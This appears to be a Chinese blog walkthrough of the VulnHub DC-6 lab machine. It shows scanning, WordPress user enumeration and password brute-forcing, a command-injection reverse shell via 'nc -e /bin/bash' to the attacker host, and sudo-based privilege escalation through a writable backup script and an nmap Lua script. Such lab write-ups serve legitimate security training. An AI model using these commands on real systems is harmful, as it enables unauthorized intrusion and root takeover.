vulnhub DC-6
探测存活主机
nmap -sP 192.168.19.128/24
发现了192.168.19.133,扫描开放端口
nmap -p- 192.168.19.133
存在的端口如下
22/tcp open ssh
80/tcp open http
访问80端口,发现重定向到了wordy,去手动配置hosts文件
渗透
用whatweb扫一下看看
whatweb -v 192.168.19.133
发现是wordpress5.1.1框架
用wpscan扫一下看看
wpscan --url http://wordy -e u
扫描发现存在admin,mark,graham,sarah,jens
我们接下来尝试破解一下密码,首先先将用户名写到文件中,然后生成密码本.(vulnhub DC给的提示)
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
使用wpscan爆破
wpscan --url http://wordy -U username -P passwords.txt
发现Username: mark, Password: helpdesk01
然后我们使用这个账号密码在wp-admin路由处进行登录
在Activity monitor->tools->look up处存在rce漏洞
会将我们输入的ip直接拼接到命令中去执行.
反弹shell到kali
nc -lvvp 2333 #kali
baidu.com|nc -e /bin/bash 192.168.19.128 2333 #web
然后我们利用pty模块生成一个伪终端.
python -c 'import pty;pty.spawn("/bin/bash")'
然后我们查看发现可以访问mark home,发现存在文件/home/mark/stuff/things-to-do.txt,查看如下
Things to do:
- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement
可以看到用户graham的密码.我们切换到graham用户.
su graham
使用sudo -l
查看权限如下
Matching Defaults entries for graham on dc-6:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User graham may run the following commands on dc-6:
(jens) NOPASSWD: /home/jens/backups.sh
发现可以无密码的执行jens下的backups.sh文件,查看发现如下
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
是使用bash解释器进行的脚本文件.查看文件权限发现可以读写执行.我们直接向文件末端添加
echo "/bin/bash" >> /home/jens/backups.sh
然后使用jens的权限进行无密码执行(如果不用sudo的话切换的还是graham的baash)
sudo -u jens /home/jens/backups.sh
此时我们就切换到了jens
Matching Defaults entries for jens on dc-6:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jens may run the following commands on dc-6:
(root) NOPASSWD: /usr/bin/nmap
发现可以无密码以root权限使用nmap
在旧版的时候可以使用如下命令进行提权
nmap --interactive
!sh
直接选择解释器为sh,但是新版中无法使用--interactive.
然而由于Nmap允许使用并执行Nmap脚本,该脚本都是通过Lua语言写的,因此我们可以构造如下的提权
echo "os.execute('/bin/sh')" > getshell
sudo nmap --script=getshell
此时就能无密码运行提权脚本.切换到root home获得flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了